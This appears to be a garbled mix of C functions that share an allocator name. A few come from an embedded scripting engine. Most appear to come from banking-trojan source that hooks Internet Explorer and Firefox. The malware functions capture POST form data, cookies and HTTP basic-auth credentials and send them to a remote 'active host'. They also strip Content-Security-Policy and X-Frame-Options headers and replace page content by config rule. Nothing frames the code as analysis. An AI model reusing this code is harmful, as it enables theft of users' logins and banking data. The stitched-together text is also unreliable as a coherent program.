static int parseArgs(ej_t *ep, int state, int flags) { int tid, aid; a_assert(ep); do { state = parse(ep, STATE_RELEXP, flags); if (state == STATE_EOF || state == STATE_ERR) { return state; } if (state == STATE_RELEXP_DONE) { aid = hAlloc((void***) &ep->func->args); ep->func->args[aid] = bstrdup(B_L, ep->result); ep->func->nArgs++; } /* * Peek at the next token, continue if more args (ie. comma seen) */ tid = ejLexGetToken(ep, state); if (tid != TOK_COMMA) { ejLexPutbackToken(ep, tid, ep->token); } } while (tid == TOK_COMMA); if (tid != TOK_RPAREN && state != STATE_RELEXP_DONE) { return STATE_ERR; } return STATE_ARG_LIST_DONE; }
static VOID IeReplaceStream(HINTERNET hRequest, PHANDLE_CONTEXT Ctx) { ULONG Written, bLen = 0; LPSTR FileName, Buffer; HANDLE hFile; ASSERT(Ctx->Flags & CF_CONTENT); ASSERT(Ctx->Url); ConfigProcessStream(Ctx->pStream, NULL, Ctx->Url, (StrStrI(Ctx->Url, szHttps) == Ctx->Url) ? TRUE : FALSE, Ctx->tCtx); InternetQueryOption(hRequest, INTERNET_OPTION_DATAFILE_NAME, NULL, &bLen); if ((bLen) && (FileName = hAlloc(bLen + 1))) { if (InternetQueryOption(hRequest, INTERNET_OPTION_DATAFILE_NAME, FileName, &bLen)) { FileName[bLen] = 0; hFile = CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { if (Buffer = hAlloc(MAX_CONTENT_BUFFER_SIZE)) { StreamGotoBegin(Ctx->pStream); do { bLen = 0; CoInvoke(Ctx->pStream, Read, Buffer, MAX_CONTENT_BUFFER_SIZE, &bLen); if (bLen == 0) break; if (!WriteFile(hFile, Buffer, bLen, &Written, NULL) || (Written != bLen)) break; } while(bLen == MAX_CONTENT_BUFFER_SIZE); hFree(Buffer); } // if (Buffer = hAlloc(MAX_CONTENT_BUFFER_SIZE)) CloseHandle(hFile); } // if (hFile != INVALID_HANDLE_VALUE) } // if (InternetQueryOption( hFree(FileName); } // if ((bLen) && (FileName = hAlloc(bLen))) }
// // Queries spesified request handle for a target URL, and sends specified data and URL to the active host. // static VOID IeQueryUrlPostForms( HANDLE hRequest, // Request handle to query LPSTR pHeaders, // HTTP headers of the request PVOID lpData, // Form data ULONG dwData // Form data length (bytes) ) { BOOL bIsSsl = FALSE; if (dwData <= MAX_FORM_SIZE) { ULONG dwBufLen = MAX_URL_LEN * sizeof(_TCHAR); LPTSTR pUrl = (LPTSTR)hAlloc(dwBufLen); if (pUrl) { if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, pUrl, &dwBufLen)) { if (StrStrI(pUrl, szHttps) == pUrl) bIsSsl = TRUE; if ((g_ClientId.Plugins & PG_BIT_FORMS) || #ifdef _ALWAYS_HTTPS (bIsSsl) #else (FALSE) #endif ) { LPSTR pCookie, pHeaders1 = NULL; if (!pHeaders) // No request headers specified, trying to get them from the request handle pHeaders = pHeaders1 = TaransferGetRequestHeaders(hRequest); if (ConfigCheckInitUrl(pUrl, NULL, bIsSsl, NULL) != URL_STATUS_POST_BLOCK) { pCookie = IeGetCookie(pUrl); PostForms(pUrl, pHeaders, pCookie, lpData, dwData, SEND_ID_FORM, TRUE); if (pCookie) hFree(pCookie); } if (pHeaders1) hFree(pHeaders1); } // if ((g_ClientId.Plugins & PG_BIT_FORMS) || (StrStrI(pUrl, szHttps) == pUrl)) } // if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, pUrl, &dwBufLen)) hFree(pUrl); } // if (pUrl) } // if (dwData <= MAX_FORM_SIZE) }
int ejOpenEngine(sym_fd_t variables, sym_fd_t functions) { ej_t *ep; int eid, vid; if ((eid = hAllocEntry((void***) &ejHandles, &ejMax, sizeof(ej_t))) < 0) { return -1; } ep = ejHandles[eid]; ep->eid = eid; /* * Create a top level symbol table if one is not provided for variables and * functions. Variables may create other symbol tables for block level * declarations so we use hAlloc to manage a list of variable tables. */ if ((vid = hAlloc((void***) &ep->variables)) < 0) { ejMax = hFree((void***) &ejHandles, ep->eid); return -1; } if (vid >= ep->variableMax) { ep->variableMax = vid + 1; } if (variables == -1) { ep->variables[vid] = symOpen(64) + EJ_OFFSET; ep->flags |= FLAGS_VARIABLES; } else { ep->variables[vid] = variables + EJ_OFFSET; } if (functions == -1) { ep->functions = symOpen(64); ep->flags |= FLAGS_FUNCTIONS; } else { ep->functions = functions; } ejLexOpen(ep); /* * Define standard constants */ ejSetGlobalVar(ep->eid, T("null"), NULL); #ifdef EMF ejEmfOpen(ep->eid); #endif return ep->eid; }
static LPWSTR IeCreateContextModifyHeadersW( HINTERNET hRequest, LPWSTR lpszHeaders, DWORD dwHeadersLength, LPSTR* ppHeaders, PHANDLE_CONTEXT* pCtx ) { LPWSTR NewHeaders = NULL; LPSTR pHeaders = NULL, NewHeadersA; ULONG Len; PHANDLE_CONTEXT Ctx = NULL; if ((lpszHeaders) && (dwHeadersLength == -1)) { Len = lstrlenW(lpszHeaders); if (pHeaders = hAlloc(Len + 1)) wcstombs(pHeaders, lpszHeaders, Len + 1); } if (NewHeadersA = IeCreateContextModifyHeadersA(hRequest, pHeaders, dwHeadersLength, ppHeaders, &Ctx)) { Len = lstrlenA(NewHeadersA); if (NewHeaders = hAlloc((Len + 1) * sizeof(WCHAR))) mbstowcs(NewHeaders, NewHeadersA, Len + 1); hFree(NewHeadersA); } if (pHeaders) hFree(pHeaders); if (pCtx) *pCtx = Ctx; return(NewHeaders); }
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Queries specified handle for the user Parser string and if successfull activates the Parser. // This function used only once, at browser startup. // static VOID IeActivateParser(HINTERNET hInternet) { ULONG bSize = 0; InternetQueryOption(hInternet, INTERNET_OPTION_USER_AGENT, NULL, &bSize); if (bSize) { LPTSTR AgentStr; if (AgentStr = (LPTSTR)hAlloc(bSize)) { if (InternetQueryOption(hInternet, INTERNET_OPTION_USER_AGENT, AgentStr, &bSize)) ActivateParser(AgentStr); hFree(AgentStr); } } }
// // Performs handle check and returns handle-associated context. // static PHANDLE_CONTEXT IeGetContext(HANDLE hRequest) { PHANDLE_CONTEXT Ctx = NULL; if (Ctx = FindHandle(hRequest)) { if (!(Ctx->Flags & (CF_SKIP | CF_CONTENT))) { Ctx->Flags |= CF_SKIP; // Checking content type if ((Ctx->Flags & CF_REPLACE) || IeCheckContentType(hRequest)) { ULONG bLen = 0; ASSERT(Ctx->Url == NULL); // Querying the URL InternetQueryOption(hRequest, INTERNET_OPTION_URL, NULL, &bLen); if ((bLen) && (Ctx->Url = hAlloc(bLen + sizeof(_TCHAR)))) { if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Ctx->Url, &bLen)) { Ctx->Url[bLen] = 0; Ctx->Flags |= CF_CONTENT; Ctx->Flags ^= CF_SKIP; } else { hFree(Ctx->Url); Ctx->Url = NULL; } } // if ((bLen) && (Ctx->Url = hAlloc(bLen + sizeof(_TCHAR)))) } // if (IeCheckContentType(hFile)) } // if (!(Ctx->Flags & (CF_SKIP | CF_CONTENT))) if (Ctx->Flags & CF_SKIP) { ReleaseHandle(Ctx); Ctx = NULL; } } // if (Ctx = FindHandle(hFile)) return(Ctx); }
int ejOpenBlock(int eid) { ej_t *ep; int vid; if((ep = ejPtr(eid)) == NULL) { return -1; } if ((vid = hAlloc((void***) &ep->variables)) < 0) { return -1; } if (vid >= ep->variableMax) { ep->variableMax = vid + 1; } ep->variables[vid] = symOpen(64) + EJ_OFFSET; return vid; }
// // Returns Cookie string for the specified URL. // LPTSTR IeGetCookie( LPTSTR pUrl ) { LPTSTR pCookie = NULL; ULONG Size = 0; InternetGetCookie(pUrl, NULL, NULL, &Size); if (Size && (pCookie = hAlloc(Size + sizeof(_TCHAR)))) { if (!InternetGetCookie(pUrl, NULL, pCookie, &Size)) { hFree(pCookie); pCookie = NULL; } else pCookie[Size] = 0; } // if (Size && (pCookie = AppAlloc(Size * sizeof(_TCHAR)))) return(pCookie); }
// // Checks the specified request if it contains supported content type. // static BOOL IeCheckContentType( HANDLE hRequest ) { BOOL Ret = FALSE; ULONG bRead = 0; LPTSTR Content; HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_TYPE, NULL, &bRead, NULL); if (Content = hAlloc(bRead + sizeof(_TCHAR))) { if (HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_TYPE, Content, &bRead, NULL)) { Content[bRead] = 0; Ret = CheckContentType(Content); } hFree(Content); } // if (Content = hAlloc(bRead)) return(Ret); }
static VOID GetPageEx(PHANDLE_CONTEXT Ctx, HINTERNET hFile, DWORD_PTR dwContext) { INTERNET_BUFFERS Buffers = {0}; LPVOID pMem = hAlloc(MAX_CONTENT_BUFFER_SIZE); if (pMem) { Buffers.dwStructSize = sizeof(INTERNET_BUFFERS); Buffers.lpvBuffer = pMem; do { Buffers.dwBufferLength = MAX_CONTENT_BUFFER_SIZE; if (InternetReadFileEx(hFile, &Buffers, IRF_SYNC | IRF_NO_WAIT, dwContext)) { ASSERT(Buffers.dwBufferLength <= MAX_CONTENT_BUFFER_SIZE); ASSERT(Buffers.dwBufferTotal <= MAX_CONTENT_BUFFER_SIZE); if (Buffers.dwBufferLength == 0) { Ctx->Status = LOADING_COMPLETE; break; } else CoInvoke(Ctx->pStream, Write, pMem, Buffers.dwBufferLength, NULL); } // if (InternetReadFileEx( else { if (GetLastError() != ERROR_IO_PENDING) Ctx->Status = ERROR_WHILE_LOADING; break; } // else // if (InternetReadFileEx( }while (TRUE); hFree(pMem); } // if (pMem) }
sym_fd_t symOpen(int hash_size) { sym_fd_t sd; sym_tabent_t *tp; a_assert(hash_size > 2); /* * Create a new handle for this symbol table */ if ((sd = hAlloc((void***) &sym)) < 0) { return -1; } /* * Create a new symbol table structure and zero */ if ((tp = (sym_tabent_t*) balloc(B_L, sizeof(sym_tabent_t))) == NULL) { symMax = hFree((void***) &sym, sd); return -1; } memset(tp, 0, sizeof(sym_tabent_t)); if (sd >= symMax) { symMax = sd + 1; } a_assert(0 <= sd && sd < symMax); sym[sd] = tp; /* * Now create the hash table for fast indexing. */ tp->hash_size = calcPrime(hash_size); tp->hash_table = (sym_t**) balloc(B_L, tp->hash_size * sizeof(sym_t*)); a_assert(tp->hash_table); memset(tp->hash_table, 0, tp->hash_size * sizeof(sym_t*)); return sd; }
int hAllocEntry(void ***list, int *max, int size) #endif { char_t *cp; int id; a_assert(list); a_assert(max); #ifdef B_STATS if ((id = HALLOC(B_ARGS, (void***) list)) < 0) { #else if ((id = hAlloc((void***) list)) < 0) { #endif return -1; } if (size > 0) { #ifdef B_STATS if ((cp = balloc(B_ARGS, size)) == NULL) { #else if ((cp = balloc(B_L, size)) == NULL) { #endif hFree(list, id); return -1; } a_assert(cp); memset(cp, 0, size); (*list)[id] = (void*) cp; } if (id >= *max) { *max = id + 1; } return id; }
// // Allocates a buffer and copies HTTP referer header value into it. // LPSTR IeGetReferer( HINTERNET hRequest ) { LPSTR RefererPtr, pHeaders, pReferer = NULL; ULONG Len; if (pHeaders = TaransferGetRequestHeaders(hRequest)) { // Looking for the referer header if (RefererPtr = HttpFindHeaderA((LPSTR)pHeaders, szReferer, &Len)) { // Allocating and copying the referer string if (pReferer = hAlloc(Len + sizeof(CHAR))) { memcpy(pReferer, RefererPtr, Len); pReferer[Len] = 0; } } hFree(pHeaders); } // if (pHeaders = TaransferGetRequestHeaders(hRequest)) return(pReferer); }
// // Searches for HTTP-headers within the specified context buffer. // Parses HTTP headers. // static VOID ContextParseHeaders( PPR_SOCKET Ps, PHANDLE_CONTEXT Ctx ) { HRESULT hResult; LPSTREAM pStream = Ctx->pStream; LPSTREAM pDataStream = Ctx->pReceiveStream; PHTTP_HEADERS Headers = NULL; ULONG SizeOfHeaders = 0; ASSERT(Ctx->cActive); ASSERT(Ctx->cActive == Ctx->cTotal); // Checking for HTTP reply headers, and avaliability of CRLF sequence // Currently only standard CRLF-devided headers are supported if (HttpIsReply(Ctx->cBuffer, Ctx->cTotal) && StrStrI(Ctx->cBuffer, szCRLF)) // Loading data until we have whole HTTP header read, or buffer is full, or any error occured. SizeOfHeaders = BlockingReadHeaders(Ps, Ctx, TRUE); ASSERT(SizeOfHeaders <= MAX_CONTENT_BUFFER_SIZE); // Check out HTTP headers: we assume we have enough space to completely receive all headers. if (SizeOfHeaders && (Headers = HttpParseHeaders(Ctx->cBuffer, SizeOfHeaders))) { PCHAR ContentType = HttpFindHeaderA(Headers->Binary, szContentType, NULL); Ctx->Flags = (Ctx->Flags & CF_REPLACE) | Headers->Flags; Ctx->Length = 0; // Check if the content should be completely replaced... if ((Ctx->Flags & CF_REPLACE) || // ... or check out the content type ((ContentType) && CheckContentType(ContentType))) { PCHAR nBuffer; ULONG nSize; Ctx->Flags |= CF_CONTENT; ASSERT(Headers->HeadersSize <= Ctx->cTotal); Ctx->cActive = (Ctx->cTotal - Headers->HeadersSize); // Clear main data stream StreamClear(Ctx->pStream); // Clear content load stream StreamClear(Ctx->pReceiveStream); // Clear content grab stream StreamClear(Ctx->pStream1); // Removing "Content-Security-Policy" header if (nBuffer = HttpSetHeaderA(Headers->Binary, szSecPolicy, NULL, NULL)) { hFree(Headers->Binary); Headers->Binary = nBuffer; } // Removing "X-Frame-Options" header if (nBuffer = HttpSetHeaderA(Headers->Binary, szXFrameOptions, NULL, NULL)) { hFree(Headers->Binary); Headers->Binary = nBuffer; } // Looking for "Access-Control-Allow-Origin" header if (StrStrI(Headers->Binary, szAccessCtrlOrigin)) { // Setting "Access-Control-Allow-Origin" value to "*" if (nBuffer = HttpSetHeaderA(Headers->Binary, szAccessCtrlOrigin, "*", NULL)) { hFree(Headers->Binary); Headers->Binary = nBuffer; } } // if (StrStrI(Headers->Binary, szAccessCtrlOrigin)) // Check out if the content is not chunked or the page should be completely replaced if (!(Ctx->Flags & CF_CHUNKED) || (Ctx->Flags & CF_REPLACE)) { ASSERT(!(Ctx->Flags & CF_CHUNKED) || !(Ctx->Flags & CF_LENGTH)); // Checking if the page content will be replaced if (Ctx->Flags & CF_REPLACE) { // Loading HTTP headers of the page to replace with if (GetReplaceHeaders(Ctx->tCtx, &nBuffer, &nSize) == NO_ERROR) { hFree(Headers->Binary); Headers->Binary = nBuffer; Headers->HeadersSize = nSize; } // if (GetReplaceHeaders(Ctx->tCtx, &nBuffer, &nSize) == NO_ERROR) Ctx->Flags &= ~(CF_CHUNKED | CF_LENGTH); Ctx->ChunkSize = 1; } // if (Ctx->Flags & CF_REPLACE) else { if (Ctx->Flags & CF_LENGTH) { // Content has specified length if ((Ctx->ChunkSize = Headers->ContentSize) == 0) // There's no HTTP content, nothing to process Ctx->Flags = 0; } else // There's no content length specified // Setting ChunkSize to indicate that we gonna continue loading data until the connection is closed. Ctx->ChunkSize = 1; } if (Ctx->Flags & CF_CONTENT) { // Setting "Transfer-encoding: chunked" header if (nBuffer = HttpSetHeaderA(Headers->Binary, szTransferEncoding, szChunked, NULL)) { hFree(Headers->Binary); Headers->Binary = nBuffer; } // Removing "Content-length" header if (nBuffer = HttpSetHeaderA(Headers->Binary, szContentLength, NULL, NULL)) { hFree(Headers->Binary); Headers->Binary = nBuffer; } // "Transfer-encoding: chunked" avaliable from HTTP version 1.1 only and version 1.0 will ignore it, // so we have to replace HTTP version in reply to support chunked. ASSERT(Headers->Binary[5] == '1' && Headers->Binary[6] == '.'); Headers->Binary[7] = '1'; } // if (Ctx->Flags & CF_CONTENT) } // if (Ctx->Flags & CF_LENGTH) else // Content has no length specified Ctx->ChunkSize = 0; #if _DEBUG if (Ctx->pHeaders = hAlloc(Headers->HeadersSize + 1)) { memcpy(Ctx->pHeaders, Headers->Binary, Headers->HeadersSize); Ctx->pHeaders[Headers->HeadersSize] = 0; } #endif // Writing HTTP headers to the main stream hResult = CoInvoke(pStream, Write, Headers->Binary, lstrlen(Headers->Binary), NULL); ASSERT(hResult == S_OK); StreamGotoBegin(pStream); } // if ((ContentType) && else // Reseting context flags. We not gonna process it. Ctx->Flags = 0; HttpReleaseHeaders(Headers); } // if (SizeOfHeaders && (Headers = HttpParseHeaders(Ctx->cBuffer, SizeOfHeaders))) }
// // Common PR_Write dispatch function. // Checks if the specified request has to be handled, initiates any replace-data receive and sends HTTP-form data. // LONG PRIO_Write( PPR_SOCKET Ps, // socket handle PCHAR buf, // buffer containing data to write LONG amount // number of bytes to write ) { LONG bRet = 0, bSize = 0; PCHAR nBuffer; PHANDLE_CONTEXT Ctx = NULL; PHTTP_HEADERS Headers = NULL; do // not a loop { if (amount == 0) break; if (!HttpIsRequest(buf, amount)) { Ctx = FindHandle(Ps->fd); break; } if (!(nBuffer = StrStrNA(buf, szEmptyStr, amount))) break; ASSERT(nBuffer >= buf && (nBuffer < (buf + amount))); if (!(Headers = HttpParseHeaders(buf, (cstrlen(szEmptyStr) + (ULONG)(nBuffer - buf))))) break; if (!g_UserAgentStr) ActivateParser(HttpQueryAgent(Headers)); if (!(Headers->Url = HttpQueryUrl(Headers, (Ps->Flags & PR_SOCKET_FLAG_SSL)))) break; if ((g_ClientId.Plugins & PG_BIT_FORMS) || #ifdef _ALWAYS_HTTPS (Ps->Flags & PR_SOCKET_FLAG_SSL) #else (FALSE) #endif ) { // Collecting and saving POST forms if (Headers->ContentSize) //&& ((Headers->ContentSize + Headers->HeadersSize) <= amount)) { PCHAR ContType = HttpFindHeaderA(Headers->Binary, szContentType, NULL); // Checking for Online Certificate Status Protocol (OCSP) request, and ignoring it if found if (!StrStrI(ContType, szOCSP)) { // Creating a Context to store form data if (Ctx = FfCheckAddHandle(Ps->fd, Headers, CF_FORM, (Ps->Flags & PR_SOCKET_FLAG_SSL))) Ctx->Length = Headers->ContentSize; } } } // if (g_ClientId.Plugins & PG_BIT_FORMS) // Checking out the URL if (Ctx || (Ctx = FfCheckAddHandle(Ps->fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL)))) { ASSERT((Ctx->Flags & ~(CF_FORM | CF_REPLACE)) == 0); if (Ctx->Status == REQUEST_BLOCKED) { bRet = -1; bSize = -1; (Ps->Api->SetError)(PR_CONNECT_RESET_ERROR, 0, Ps->Context); break; } if (Ctx->Flags & CF_REPLACE) { #ifdef _PATCH_REPLACE_HEADERS // Checking if this is a GET request if (*(PULONG)Headers->Binary == uGET) // Patching request URI to make an invalid HTTP request. // All request headers and data will be relpaced. We don't need to receive any data there. buf[5] = '%'; #endif } // if (Ctx->Flags & CF_REPLACE) else { // Addinig "Accept-Encoding: identity" header if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity, NULL)) { hFree(Headers->Binary); Headers->Binary = nBuffer; } // if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity)) } // else // if (Ctx->Flags & CF_REPLACE) } // if (Ctx || (Ctx = FfCheckAddHandle(fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL)))) // Checking if headers were modified if ((bSize = lstrlenA(Headers->Binary)) != Headers->HeadersSize) { PCHAR SendBuffer; if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize)) { memcpy(SendBuffer, Headers->Binary, bSize); memcpy(SendBuffer + bSize, (buf + Headers->HeadersSize), (amount - Headers->HeadersSize)); bSize += (amount - Headers->HeadersSize); if ((bRet = (Ps->Api->Write)(Ps->fd, SendBuffer, bSize, NULL)) > 0) bRet = amount; hFree(SendBuffer); } // if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize)) } else bSize = 0; } while(FALSE); if (bSize == 0) // Nothing was sent, doning it now bRet = (Ps->Api->Write)(Ps->fd, buf, amount, Ps->Context); if ((Ctx) && (Ctx->Length)) { // Checking if data was successfully sent and there was any form data if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR)) { HRESULT hResult; LONG Sent = amount; PCHAR FormData = buf; if (Headers) { Sent -= Headers->HeadersSize; FormData += Headers->HeadersSize; // Saving request headers to the HTTP context, we need them later while posting a form Ctx->pHeaders = Headers->Binary; Headers->Binary = NULL; } Sent = min(Sent, Ctx->Length); // Saving form data into the data stream hResult = CoInvoke(Ctx->pStream, Write, FormData, Sent, NULL); ASSERT(hResult == S_OK); // Checking if all form data was successfully transmited if ((Ctx->Length -= Sent) == 0) { // Sending form data to the active host Sent = StreamGetLength(Ctx->pStream); if (FormData = (PCHAR)hAlloc(Sent)) { StreamGotoBegin(Ctx->pStream); hResult = CoInvoke(Ctx->pStream, Read, FormData, Sent, (PULONG)&Sent); ASSERT(hResult == S_OK); PostForms(Ctx->Url, Ctx->pHeaders, NULL, FormData, Sent, SEND_ID_FORM, TRUE); hFree(FormData); } StreamClear(Ctx->pStream); // Form was sent if (Ctx->Flags & CF_FORM) ReleaseHandle(Ctx); } ASSERT(Ctx->Length >= 0); } // if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR)) else { // Form was not sent, an error occured if (Ctx->Flags & CF_FORM) ReleaseHandle(Ctx); } } // if ((Ctx) && (Ctx->Length)) if (Headers) HttpReleaseHeaders(Headers); else { // Releasing Context (only if it was just found) if (Ctx) ReleaseHandle(Ctx); } return(bRet); }
// // Reads the speceifed reaquest's page synchronuosly. // Stores the page content into Ctx->pStream stream. // VOID ReadPageSync( PHANDLE_CONTEXT Ctx, HINTERNET hRequest ) { ULONG bRead = 0; LPVOID pMem = NULL; WINERROR Status; ULONG Timeout = INFINITE; // There's a bug within WININET on XP: // sometimes call to InternetReadFile() doesn't return INTERNET_STATUS_REQUEST_COMPLETE. // To solve this we do not wait infinite on page load but use IE_WAIT_REQUEST_TIMEOUT instead. if (LOBYTE(LOWORD(g_SystemVersion)) <= 5) Timeout = IE_WAIT_REQUEST_TIMEOUT; if (pMem = hAlloc(MAX_CONTENT_BUFFER_SIZE)) { do { if (!InternetReadFile(hRequest, pMem, MAX_CONTENT_BUFFER_SIZE, &bRead)) { if (GetLastError() != ERROR_IO_PENDING) { Ctx->Status = ERROR_WHILE_LOADING; break; } Status = WaitForSingleObject(Ctx->AsyncEvent, Timeout); if (Status == WAIT_TIMEOUT) { ASSERT(LOBYTE(LOWORD(g_SystemVersion)) <= 5); break; } if (Status != WAIT_OBJECT_0 || Ctx->Status == ERROR_WHILE_LOADING) { Ctx->Status = ERROR_WHILE_LOADING; break; } } if (bRead) CoInvoke(Ctx->pStream, Write, pMem, bRead, NULL); else { // InternetReadFile successed but number of bytes read is 0. // This means no more data avaliable to read. Ctx->Status = LOADING_COMPLETE; break; } } while (TRUE); hFree(pMem); } // if (pMem = hAlloc(MAX_CONTENT_BUFFER_SIZE)) else Ctx->Status = ERROR_WHILE_LOADING; }
// // Queries and checks specified request's URL. Creates a HANDLE_CONTEXT if the URL matches config settings. // static PHANDLE_CONTEXT FfCheckAddHandle( HANDLE Handle, // handle of a HTTP request to check PHTTP_HEADERS Headers, // pointer to HTTP_HEADERS structure for the specfied request ULONG Flags, // a combination of CF_XXX flags BOOL IsSsl // TRUE if this is an SSL connection ) { PHANDLE_CONTEXT Ctx = NULL; ULONG Status; PVOID tCtx = NULL; LPSTR Referer = NULL; ASSERT_HTTP_HEADERS(Headers); ASSERT(Headers->Url); // Looking for referer header if (Headers->pReferer && Headers->RefererSize) { // Allocating and copying referer string if (Referer = hAlloc(Headers->RefererSize + sizeof(CHAR))) { memcpy(Referer, Headers->pReferer, Headers->RefererSize); Referer[Headers->RefererSize] = 0; } } Status = ConfigCheckInitUrl(Headers->Url, Referer, IsSsl, &tCtx); if ((Status || (Flags & CF_FORM)) && (Status != URL_STATUS_POST_BLOCK) && (Ctx = AddHandle(Handle))) { // Saving the URL for future use if (Ctx->Url) { // Handle seems to be reused, releasing URL hFree(Ctx->Url); Ctx->cTotal = 0; Ctx->cActive = 0; Ctx->Flags = Flags; } else { ASSERT(Ctx->Flags == 0); } if (Ctx->tCtx) { TransferReleaseContext(Ctx->tCtx); hFree(Ctx->tCtx); Ctx->tCtx = NULL; } Ctx->tCtx = tCtx; Ctx->Url = Headers->Url; if (Status == URL_STATUS_REPLACE) Ctx->Flags |= CF_REPLACE; else if (Status == URL_STATUS_BLOCK) Ctx->Status = REQUEST_BLOCKED; else { if (Status == URL_STATUS_UNDEF) { ASSERT(Flags & CF_FORM); Ctx->Flags = CF_FORM; } Ctx->Status = UNKNOWN_STATUS; } Headers->Url = NULL; } // if ((Status || (Flags & CF_FORM)) && (Ctx = AddHandle(Handle))) if (Referer) hFree(Referer); return(Ctx); }
// // Obtains target URL and referer from the specified request handle and HTTP headers string. // Checks URL and referer and creates handle context if needed. // Adds "Accept-Encoding: identity" header. // static LPSTR IeCreateContextModifyHeadersA( HINTERNET hRequest, LPSTR lpszHeaders, DWORD dwHeadersLength, LPSTR* ppHeaders, PHANDLE_CONTEXT* pCtx ) { LPSTR NewHeaders = NULL, pHeaders = NULL, pReferer = NULL; ULONG Len; CHAR OldChar; PHANDLE_CONTEXT Ctx = NULL; // Check if we already have a context for the specified handle if (!(Ctx = FindHandle(hRequest))) { if (lpszHeaders) { if (dwHeadersLength == -1) Len = lstrlenA(lpszHeaders); else Len = dwHeadersLength; if (pHeaders = hAlloc(Len + sizeof(CHAR))) { memcpy(pHeaders, lpszHeaders, Len); pHeaders[Len] = 0; } } // if (lpszHeaders) else pHeaders = TaransferGetRequestHeaders(hRequest); if (pHeaders) { if (pReferer = HttpFindHeaderA(pHeaders, szReferer, &Len)) { OldChar = pReferer[Len]; pReferer[Len] = 0; } } // if (pHeaders) if (ppHeaders) *ppHeaders = pHeaders; // Creating a context for the handle if (Ctx = IeCheckAddHandle(hRequest, pReferer)) SetCallback(hRequest, Ctx); if (pReferer) pReferer[Len] = OldChar; } // if (!(Ctx = IeGetContext(hRequest))) else ReleaseHandle(Ctx); if (Ctx) { if ((lpszHeaders) && (dwHeadersLength == -1)) // Setting "Accept-Encoding: identity" header NewHeaders = HttpSetHeaderA(lpszHeaders, szAcceptEncoding, szIdentity, NULL); } if (pCtx) *pCtx = Ctx; return(NewHeaders); }
// // Checks if the specified handle associated with URL that has any submited action within the config. // Tries to extract and send basic authentication data if any. // static ULONG IeCheckURL( HANDLE hRequest, LPSTR Referer, PVOID* ptCtx ) { ULONG Status = URL_STATUS_UNDEF; ULONG bSize = 0; LPTSTR Url, pUser = NULL, pPass = NULL, FmtStr = NULL; InternetQueryOption(hRequest, INTERNET_OPTION_URL, NULL, &bSize); if ((bSize) && (Url = hAlloc(bSize + sizeof(_TCHAR)))) { if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Url, &bSize)) { Url[bSize] = 0; Status = ConfigCheckInitUrl(Url, Referer, ((StrStrI(Url, szHttps) == Url) ? TRUE : FALSE), ptCtx); // Queryin the Basic Authentication data bSize = MAX_USER_LEN * sizeof(_TCHAR); do // not a loop { if (!(pUser = (LPTSTR)hAlloc(bSize))) break; if (!(pPass = (LPTSTR)hAlloc(bSize))) break; if (!InternetQueryOption(hRequest, INTERNET_OPTION_USERNAME, pUser, &bSize) || pUser[0] == 0) break; bSize = MAX_USER_LEN * sizeof(_TCHAR); if (!InternetQueryOption(hRequest, INTERNET_OPTION_PASSWORD, pPass, &bSize) || pPass[0] == 0) break; FmtStr = hAlloc((cstrlen(szDateTimeFmt) + cstrlen(szBasicFmt) + lstrlen(Url) + MAX_USER_LEN + MAX_USER_LEN + 1) * sizeof(_TCHAR)); if (FmtStr) { bSize = PsSupPrintDateTime(FmtStr, NULL, TRUE); bSize += wsprintf(FmtStr + bSize, szBasicFmt, Url, pUser, pPass); #ifdef _SEND_FORMS ConfSendData(FmtStr, bSize, SEND_ID_AUTH, NULL, FALSE); #else PipeSendCommand(CMD_STORE_AUTH, FmtStr, bSize, NULL); #endif hFree(FmtStr); } } while(FALSE); if (pUser) hFree(pUser); if (pPass) hFree(pPass); } // if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Url, &bSize)) hFree(Url); } // if ((bSize) && (Url = hAlloc(bSize + sizeof(_TCHAR)))) return(Status); }